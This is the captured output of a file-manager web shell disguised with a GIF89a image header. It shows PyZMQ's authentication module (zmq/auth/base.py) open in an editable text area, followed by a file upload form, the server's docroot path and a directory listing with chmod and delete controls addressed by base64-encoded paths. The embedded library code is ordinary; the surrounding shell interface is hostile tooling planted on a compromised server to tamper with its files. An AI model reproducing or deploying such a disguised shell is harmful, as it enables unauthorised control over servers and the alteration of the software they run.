GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>base.py<form method=post action="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3ptcS9hdXRo&f=YmFzZS5weQ%3D%3D"><input name="f" value="base.py"><textarea name="t">&quot;&quot;&quot;Base implementation of 0MQ authentication.&quot;&quot;&quot;

# Copyright (C) PyZMQ Developers
# Distributed under the terms of the Modified BSD License.

import logging
import os
from typing import Any, Awaitable, Dict, List, Optional, Set, Tuple, Union

import zmq
from zmq.error import _check_version
from zmq.utils import z85

from .certs import load_certificates

CURVE_ALLOW_ANY = '*'
VERSION = b'1.0'


class Authenticator:
    &quot;&quot;&quot;Implementation of ZAP authentication for zmq connections.

    This authenticator class does not register with an event loop. As a result,
    you will need to manually call `handle_zap_message`::

        auth = zmq.Authenticator()
        auth.allow(&quot;127.0.0.1&quot;)
        auth.start()
        while True:
            await auth.handle_zap_msg(auth.zap_socket.recv_multipart())

    Alternatively, you can register `auth.zap_socket` with a poller.

    Since many users will want to run ZAP in a way that does not block the
    main thread, other authentication classes (such as :mod:`zmq.auth.thread`)
    are provided.

    Note:

    - libzmq provides four levels of security: default NULL (which the Authenticator does
      not see), and authenticated NULL, PLAIN, CURVE, and GSSAPI, which the Authenticator can see.
    - until you add policies, all incoming NULL connections are allowed.
      (classic ZeroMQ behavior), and all PLAIN and CURVE connections are denied.
    - GSSAPI requires no configuration.
    &quot;&quot;&quot;

    context: &quot;zmq.Context&quot;
    encoding: str
    allow_any: bool
    credentials_providers: Dict[str, Any]
    zap_socket: &quot;zmq.Socket&quot;
    _allowed: Set[str]
    _denied: Set[str]
    passwords: Dict[str, Dict[str, str]]
    certs: Dict[str, Dict[bytes, Any]]
    log: Any

    def __init__(
        self,
        context: Optional[&quot;zmq.Context&quot;] = None,
        encoding: str = 'utf-8',
        log: Any = None,
    ):
        _check_version((4, 0), &quot;security&quot;)
        self.context = context or zmq.Context.instance()
        self.encoding = encoding
        self.allow_any = False
        self.credentials_providers = {}
        self.zap_socket = None  # type: ignore
        self._allowed = set()
        self._denied = set()
        # passwords is a dict keyed by domain and contains values
        # of dicts with username:password pairs.
        self.passwords = {}
        # certs is dict keyed by domain and contains values
        # of dicts keyed by the public keys from the specified location.
        self.certs = {}
        self.log = log or logging.getLogger('zmq.auth')

    def start(self) -&gt; None:
        &quot;&quot;&quot;Create and bind the ZAP socket&quot;&quot;&quot;
        self.zap_socket = self.context.socket(zmq.REP, socket_class=zmq.Socket)
        self.zap_socket.linger = 1
        self.zap_socket.bind(&quot;inproc://zeromq.zap.01&quot;)
        self.log.debug(&quot;Starting&quot;)

    def stop(self) -&gt; None:
        &quot;&quot;&quot;Close the ZAP socket&quot;&quot;&quot;
        if self.zap_socket:
            self.zap_socket.close()
        self.zap_socket = None  # type: ignore

    def allow(self, *addresses: str) -&gt; None:
        &quot;&quot;&quot;Allow IP address(es).

        Connections from addresses not explicitly allowed will be rejected.

        - For NULL, all clients from this address will be accepted.
        - For real auth setups, they will be allowed to continue with authentication.

        allow is mutually exclusive with deny.
        &quot;&quot;&quot;
        if self._denied:
            raise ValueError(&quot;Only use allow or deny, not both&quot;)
        self.log.debug(&quot;Allowing %s&quot;, ','.join(addresses))
        self._allowed.update(addresses)

    def deny(self, *addresses: str) -&gt; None:
        &quot;&quot;&quot;Deny IP address(es).

        Addresses not explicitly denied will be allowed to continue with authentication.

        deny is mutually exclusive with allow.
        &quot;&quot;&quot;
        if self._allowed:
            raise ValueError(&quot;Only use a allow or deny, not both&quot;)
        self.log.debug(&quot;Denying %s&quot;, ','.join(addresses))
        self._denied.update(addresses)

    def configure_plain(
        self, domain: str = '*', passwords: Optional[Dict[str, str]] = None
    ) -&gt; None:
        &quot;&quot;&quot;Configure PLAIN authentication for a given domain.

        PLAIN authentication uses a plain-text password file.
        To cover all domains, use &quot;*&quot;.
        You can modify the password file at any time; it is reloaded automatically.
        &quot;&quot;&quot;
        if passwords:
            self.passwords[domain] = passwords
        self.log.debug(&quot;Configure plain: %s&quot;, domain)

    def configure_curve(
        self, domain: str = '*', location: Union[str, os.PathLike] = &quot;.&quot;
    ) -&gt; None:
        &quot;&quot;&quot;Configure CURVE authentication for a given domain.

        CURVE authentication uses a directory that holds all public client certificates,
        i.e. their public keys.

        To cover all domains, use &quot;*&quot;.

        You can add and remove certificates in that directory at any time. configure_curve must be called
        every time certificates are added or removed, in order to update the Authenticator's state

        To allow all client keys without checking, specify CURVE_ALLOW_ANY for the location.
        &quot;&quot;&quot;
        # If location is CURVE_ALLOW_ANY then allow all clients. Otherwise
        # treat location as a directory that holds the certificates.
        self.log.debug(&quot;Configure curve: %s[%s]&quot;, domain, location)
        if location == CURVE_ALLOW_ANY:
            self.allow_any = True
        else:
            self.allow_any = False
            try:
                self.certs[domain] = load_certificates(location)
            except Exception as e:
                self.log.error(&quot;Failed to load CURVE certs from %s: %s&quot;, location, e)

    def configure_curve_callback(
        self, domain: str = '*', credentials_provider: Any = None
    ) -&gt; None:
        &quot;&quot;&quot;Configure CURVE authentication for a given domain.

        CURVE authentication using a callback function validating
        the client public key according to a custom mechanism, e.g. checking the
        key against records in a db. credentials_provider is an object of a class which
        implements a callback method accepting two parameters (domain and key), e.g.::

            class CredentialsProvider(object):

                def __init__(self):
                    ...e.g. db connection

                def callback(self, domain, key):
                    valid = ...lookup key and/or domain in db
                    if valid:
                        logging.info('Authorizing: {0}, {1}'.format(domain, key))
                        return True
                    else:
                        logging.warning('NOT Authorizing: {0}, {1}'.format(domain, key))
                        return False

        To cover all domains, use &quot;*&quot;.
        &quot;&quot;&quot;

        self.allow_any = False

        if credentials_provider is not None:
            self.credentials_providers[domain] = credentials_provider
        else:
            self.log.error(&quot;None credentials_provider provided for domain:%s&quot;, domain)

    def curve_user_id(self, client_public_key: bytes) -&gt; str:
        &quot;&quot;&quot;Return the User-Id corresponding to a CURVE client's public key

        Default implementation uses the z85-encoding of the public key.

        Override to define a custom mapping of public key : user-id

        This is only called on successful authentication.

        Parameters
        ----------
        client_public_key: bytes
            The client public key used for the given message

        Returns
        -------
        user_id: unicode
            The user ID as text
        &quot;&quot;&quot;
        return z85.encode(client_public_key).decode('ascii')

    def configure_gssapi(
        self, domain: str = '*', location: Optional[str] = None
    ) -&gt; None:
        &quot;&quot;&quot;Configure GSSAPI authentication

        Currently this is a no-op because there is nothing to configure with GSSAPI.
        &quot;&quot;&quot;

    async def handle_zap_message(self, msg: List[bytes]):
        &quot;&quot;&quot;Perform ZAP authentication&quot;&quot;&quot;
        if len(msg) &lt; 6:
            self.log.error(&quot;Invalid ZAP message, not enough frames: %r&quot;, msg)
            if len(msg) &lt; 2:
                self.log.error(&quot;Not enough information to reply&quot;)
            else:
                self._send_zap_reply(msg[1], b&quot;400&quot;, b&quot;Not enough frames&quot;)
            return

        version, request_id, domain, address, identity, mechanism = msg[:6]
        credentials = msg[6:]

        domain = domain.decode(self.encoding, 'replace')
        address = address.decode(self.encoding, 'replace')

        if version != VERSION:
            self.log.error(&quot;Invalid ZAP version: %r&quot;, msg)
            self._send_zap_reply(request_id, b&quot;400&quot;, b&quot;Invalid version&quot;)
            return

        self.log.debug(
            &quot;version: %r, request_id: %r, domain: %r,&quot;
            &quot; address: %r, identity: %r, mechanism: %r&quot;,
            version,
            request_id,
            domain,
            address,
            identity,
            mechanism,
        )

        # Is address is explicitly allowed or _denied?
        allowed = False
        denied = False
        reason = b&quot;NO ACCESS&quot;

        if self._allowed:
            if address in self._allowed:
                allowed = True
                self.log.debug(&quot;PASSED (allowed) address=%s&quot;, address)
            else:
                denied = True
                reason = b&quot;Address not allowed&quot;
                self.log.debug(&quot;DENIED (not allowed) address=%s&quot;, address)

        elif self._denied:
            if address in self._denied:
                denied = True
                reason = b&quot;Address denied&quot;
                self.log.debug(&quot;DENIED (denied) address=%s&quot;, address)
            else:
                allowed = True
                self.log.debug(&quot;PASSED (not denied) address=%s&quot;, address)

        # Perform authentication mechanism-specific checks if necessary
        username = &quot;anonymous&quot;
        if not denied:
            if mechanism == b'NULL' and not allowed:
                # For NULL, we allow if the address wasn't denied
                self.log.debug(&quot;ALLOWED (NULL)&quot;)
                allowed = True

            elif mechanism == b'PLAIN':
                # For PLAIN, even a _alloweded address must authenticate
                if len(credentials) != 2:
                    self.log.error(&quot;Invalid PLAIN credentials: %r&quot;, credentials)
                    self._send_zap_reply(request_id, b&quot;400&quot;, b&quot;Invalid credentials&quot;)
                    return
                username, password = (
                    c.decode(self.encoding, 'replace') for c in credentials
                )
                allowed, reason = self._authenticate_plain(domain, username, password)

            elif mechanism == b'CURVE':
                # For CURVE, even a _alloweded address must authenticate
                if len(credentials) != 1:
                    self.log.error(&quot;Invalid CURVE credentials: %r&quot;, credentials)
                    self._send_zap_reply(request_id, b&quot;400&quot;, b&quot;Invalid credentials&quot;)
                    return
                key = credentials[0]
                allowed, reason = await self._authenticate_curve(domain, key)
                if allowed:
                    username = self.curve_user_id(key)

            elif mechanism == b'GSSAPI':
                if len(credentials) != 1:
                    self.log.error(&quot;Invalid GSSAPI credentials: %r&quot;, credentials)
                    self._send_zap_reply(request_id, b&quot;400&quot;, b&quot;Invalid credentials&quot;)
                    return
                # use principal as user-id for now
                principal = credentials[0]
                username = principal.decode(&quot;utf8&quot;)
                allowed, reason = self._authenticate_gssapi(domain, principal)

        if allowed:
            self._send_zap_reply(request_id, b&quot;200&quot;, b&quot;OK&quot;, username)
        else:
            self._send_zap_reply(request_id, b&quot;400&quot;, reason)

    def _authenticate_plain(
        self, domain: str, username: str, password: str
    ) -&gt; Tuple[bool, bytes]:
        &quot;&quot;&quot;PLAIN ZAP authentication&quot;&quot;&quot;
        allowed = False
        reason = b&quot;&quot;
        if self.passwords:
            # If no domain is not specified then use the default domain
            if not domain:
                domain = '*'

            if domain in self.passwords:
                if username in self.passwords[domain]:
                    if password == self.passwords[domain][username]:
                        allowed = True
                    else:
                        reason = b&quot;Invalid password&quot;
                else:
                    reason = b&quot;Invalid username&quot;
            else:
                reason = b&quot;Invalid domain&quot;

            if allowed:
                self.log.debug(
                    &quot;ALLOWED (PLAIN) domain=%s username=%s password=%s&quot;,
                    domain,
                    username,
                    password,
                )
            else:
                self.log.debug(&quot;DENIED %s&quot;, reason)

        else:
            reason = b&quot;No passwords defined&quot;
            self.log.debug(&quot;DENIED (PLAIN) %s&quot;, reason)

        return allowed, reason

    async def _authenticate_curve(
        self, domain: str, client_key: bytes
    ) -&gt; Tuple[bool, bytes]:
        &quot;&quot;&quot;CURVE ZAP authentication&quot;&quot;&quot;
        allowed = False
        reason = b&quot;&quot;
        if self.allow_any:
            allowed = True
            reason = b&quot;OK&quot;
            self.log.debug(&quot;ALLOWED (CURVE allow any client)&quot;)
        elif self.credentials_providers != {}:
            # If no explicit domain is specified then use the default domain
            if not domain:
                domain = '*'

            if domain in self.credentials_providers:
                z85_client_key = z85.encode(client_key)
                # Callback to check if key is Allowed
                r = self.credentials_providers[domain].callback(domain, z85_client_key)
                if isinstance(r, Awaitable):
                    r = await r
                if r:
                    allowed = True
                    reason = b&quot;OK&quot;
                else:
                    reason = b&quot;Unknown key&quot;

                status = &quot;ALLOWED&quot; if allowed else &quot;DENIED&quot;
                self.log.debug(
                    &quot;%s (CURVE auth_callback) domain=%s client_key=%s&quot;,
                    status,
                    domain,
                    z85_client_key,
                )
            else:
                reason = b&quot;Unknown domain&quot;
        else:
            # If no explicit domain is specified then use the default domain
            if not domain:
                domain = '*'

            if domain in self.certs:
                # The certs dict stores keys in z85 format, convert binary key to z85 bytes
                z85_client_key = z85.encode(client_key)
                if self.certs[domain].get(z85_client_key):
                    allowed = True
                    reason = b&quot;OK&quot;
                else:
                    reason = b&quot;Unknown key&quot;

                status = &quot;ALLOWED&quot; if allowed else &quot;DENIED&quot;
                self.log.debug(
                    &quot;%s (CURVE) domain=%s client_key=%s&quot;,
                    status,
                    domain,
                    z85_client_key,
                )
            else:
                reason = b&quot;Unknown domain&quot;

        return allowed, reason

    def _authenticate_gssapi(self, domain: str, principal: bytes) -&gt; Tuple[bool, bytes]:
        &quot;&quot;&quot;Nothing to do for GSSAPI, which has already been handled by an external service.&quot;&quot;&quot;
        self.log.debug(&quot;ALLOWED (GSSAPI) domain=%s principal=%s&quot;, domain, principal)
        return True, b'OK'

    def _send_zap_reply(
        self,
        request_id: bytes,
        status_code: bytes,
        status_text: bytes,
        user_id: str = 'anonymous',
    ) -&gt; None:
        &quot;&quot;&quot;Send a ZAP reply to finish the authentication.&quot;&quot;&quot;
        user_id = user_id if status_code == b'200' else b''
        if isinstance(user_id, str):
            user_id = user_id.encode(self.encoding, 'replace')
        metadata = b''  # not currently used
        self.log.debug(&quot;ZAP reply code=%s text=%s&quot;, status_code, status_text)
        reply = [VERSION, request_id, status_code, status_text, user_id, metadata]
        self.zap_socket.send_multipart(reply)


__all__ = ['Authenticator', 'CURVE_ALLOW_ANY']
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /opt/saltstack/salt/lib/python3.10/site-packages/zmq/auth<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3ptcS9hdXRo"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3ptcS9hdXRo&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3ptcQ=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3ptcS9hdXRo&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3ptcS9hdXRo&x=X19pbml0X18ucHk=">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3ptcS9hdXRo&f=X19pbml0X18ucHk="/>__init__.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3ptcS9hdXRo&f=X19pbml0X18ucHk=&c=`+btoa(c):0" value="0644"></td><td>346</td></tr><tr><td></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3ptcS9hdXRoL19fcHljYWNoZV9f"/>__pycache__</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3ptcS9hdXRo&f=X19weWNhY2hlX18=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3ptcS9hdXRo&x=YXN5bmNpby5weQ==">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3ptcS9hdXRo&f=YXN5bmNpby5weQ=="/>asyncio.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3ptcS9hdXRo&f=YXN5bmNpby5weQ==&c=`+btoa(c):0" value="0644"></td><td>1799</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3ptcS9hdXRo&x=YmFzZS5weQ==">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3ptcS9hdXRo&f=YmFzZS5weQ=="/>base.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3ptcS9hdXRo&f=YmFzZS5weQ==&c=`+btoa(c):0" value="0644"></td><td>16337</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3ptcS9hdXRo&x=Y2VydHMucHk=">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3ptcS9hdXRo&f=Y2VydHMucHk="/>certs.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3ptcS9hdXRo&f=Y2VydHMucHk=&c=`+btoa(c):0" value="0644"></td><td>4329</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3ptcS9hdXRo&x=aW9sb29wLnB5">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3ptcS9hdXRo&f=aW9sb29wLnB5"/>ioloop.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3ptcS9hdXRo&f=aW9sb29wLnB5&c=`+btoa(c):0" value="0644"></td><td>1298</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3ptcS9hdXRo&x=dGhyZWFkLnB5">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3ptcS9hdXRo&f=dGhyZWFkLnB5"/>thread.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3ptcS9hdXRo&f=dGhyZWFkLnB5&c=`+btoa(c):0" value="0644"></td><td>4103</td></tr></table>